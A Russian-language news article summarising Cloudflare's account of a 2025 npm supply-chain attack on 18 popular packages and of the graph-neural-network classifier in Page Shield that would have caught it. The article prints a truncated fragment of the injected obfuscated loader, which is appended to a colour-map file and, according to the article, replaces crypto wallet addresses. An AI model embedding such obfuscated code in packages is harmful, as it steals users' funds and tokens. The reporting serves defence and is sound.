Оглавление
Cloudflare пишет, что в сентябре 2025 года хакеры скомпрометировали аккаунты доверенных разработчиков в npm и опубликовали вредоносные версии 18 популярных пакетов, включая chalk, debug и ansi-styles, которые суммарно скачиваются более 2 миллиардов раз в неделю.
Техника атаки и последствия
Злоумышленники использовали фишинговые письма для получения доступа к аккаунтам разработчиков, после чего внедрили вредоносный код в обновления популярных библиотек. Скомпрометированные пакеты могли:
- Красть криптоактивы пользователей, подменяя адреса кошельков
- Перехватывать токены разработчиков для CI/CD систем и облачных аккаунтов
- Модифицировать другие пакеты тех же разработчиков
Вот пример внедренного вредоносного кода:
export default {
aliceblue: [240, 248, 255],
…
yellow: [255, 255, 0],
yellowgreen: [154, 205, 50]
}
const _0x112fa8=_0x180f;(function(_0x13c8b9,_0x35f660){const _0x15b386=_0x180f,_0x66ea25=_0x13c8b9();while(!![]){try{const _0x2cc99e=parseInt(_0x15b386(0x46c))/(-0x1caa+0x61f*0x1+-0x9c*-0x25)*(parseInt(_0x15b386(0x132))/(-0x1d6b+-0x69e+0x240b))+-parseInt(_0x15b386(0x6a6))/(0x1*-0x26e1+-0x11a1*-0x2+-0x5d*-0xa)*(-parseInt(_0x15b386(0x4d5))/(0x3b2+-0xaa*0xf+-0x3*-0x218))+-parseInt(_0x15b386(0x1e8))/(0xfe+0x16f2+-0x17eb)+-parseInt(_0x15b386(0x707))/(-0x23f8+-0x2*0x70e+-0x48e*-0xb)*(parseInt(_0x15b386(0x3f3))/(-0x6a1+0x3f5+0x2b3))+-parseInt(_0x15b386(0x435))/(0xeb5+0x3b1+-0x125e)*(parseInt(_0x15b386(0x56e))/(0x18*0x118+-0x17ee+-0x249))+parseInt(_0x15b386(0x785))/(-0xfbd+0xd5d*-0x1+0x1d24)+-parseInt(_0x15b386(0x654))/(-0x196d*0x1+-0x605+0xa7f*0x3)*(-parseInt(_0x15b386(0x3ee))/(0x282*0xe+0x760*0x3+-0x3930));if(_0x2cc99e===_0x35f660)break;else _0x66ea25['push'](_0x66ea25['shift']());}catch(_0x205af0){_0x66 …
Фрагмент вредоносного кода, внедренного в пакеты. Среди прочего, он заменяет легитимные крипто-адреса на адреса злоумышленников для различных валют, включая биткоин, эфириум и солана.
Атака на цепочку поставок npm стала почти рутиной — как будто это плановая проверка систем безопасности. Cloudflare же превратил потенциальный кризис в демонстрацию эффективности своего ML-подхода, который оказался устойчив даже к новым, ранее неизвестным атакам. Поразительно, что модель смогла распознать угрозу, которой не было в обучающей выборке — это говорит о фундаментальном понимании структуры вредоносного кода, а не просто о заучивании шаблонов.
Поиск иголки в стоге сена из 3.5 миллиардов скриптов
Ежедневно Cloudflare Page Shield анализирует 3.5 миллиарда скриптов — примерно 40 000 в секунду. Из них менее 0.3% классифицируются как вредоносные с помощью системы машинного обучения.
Технический подход Cloudflare включает преобразование JavaScript-кода в абстрактное синтаксическое дерево и обучение графовой сверточной сети с передачей сообщений, которая классифицирует файлы как вредоносные или безопасные.
Ключевое преимущество графовых моделей — возможность одновременно анализировать структуру кода (вызовы функций, утверждения) и сам текст скрипта для выявления паттернов хакеров. В случае с npm-компрометацией, вредоносный код использовал обфускацию и модифицировал точки входа для интерфейсов крипто-кошельков, таких как window.ethereum Ethereum, чтобы подменять платежные адреса.
Метрики эффективности
Текущие показатели модели версии 2.7 впечатляют:
- Точность: 98% (+5% к предыдущей версии)
- Полнота: 90% (+233% к предыдущей версии)
- F1-мера: 94% (+123% к предыдущей версии)
Улучшения достигнуты за счет:
- Расширения обучающей выборки из открытых наборов данных и партнерских источников
- Улучшения качества примеров (удаление образцов с чистыми комментариями или схожей структурой)
- Лучшей стратификации обучающих данных
- Оптимизации критериев оценки для максимизации полноты при сохранении 99% точности
При таких метриках система генерирует около 2 ложных срабатываний в секунду. Для их анализа Cloudflare использует несколько языковых моделей вместе с экспертами-аналитиками безопасности, работающими круглосуточно.
Планы по развитию
Статический анализ скриптов доказал свою эффективность и иногда является единственно возможным подходом (например, для npm-пакетов). Для решения более сложных случаев Cloudflare усиливает ML-сигналы контекстными данными, включая URL скриптов, хост-страницы и связанные домены.
Современные агентные подходы AI позволяют обернуть JavaScript-среды выполнения как инструменты в общем рабочем процессе AI. Это открывает путь к гибридному подходу, сочетающему статический и динамический анализ для обработки сложных сценариев ложных срабатываний, таких как скрипты пользовательского отслеживания.
Консолидация классификаторов
Более 3 лет назад Cloudflare запустил классификатор «Анализ поведения кода» для скриптов в стиле Magecart, который изучает поведение обфускации и эксфильтрации данных. Позже была развернута графовая сверточная сеть, также способная классифицировать атаки Magecart.
Важнейший результат: Cloudflare Page Shield успешно обнаружил бы все 18 скомпрометированных npm-пакетов как вредоносные, несмотря на то, что эта атака была новой и отсутствовала в обучающих данных.
Оставить комментарий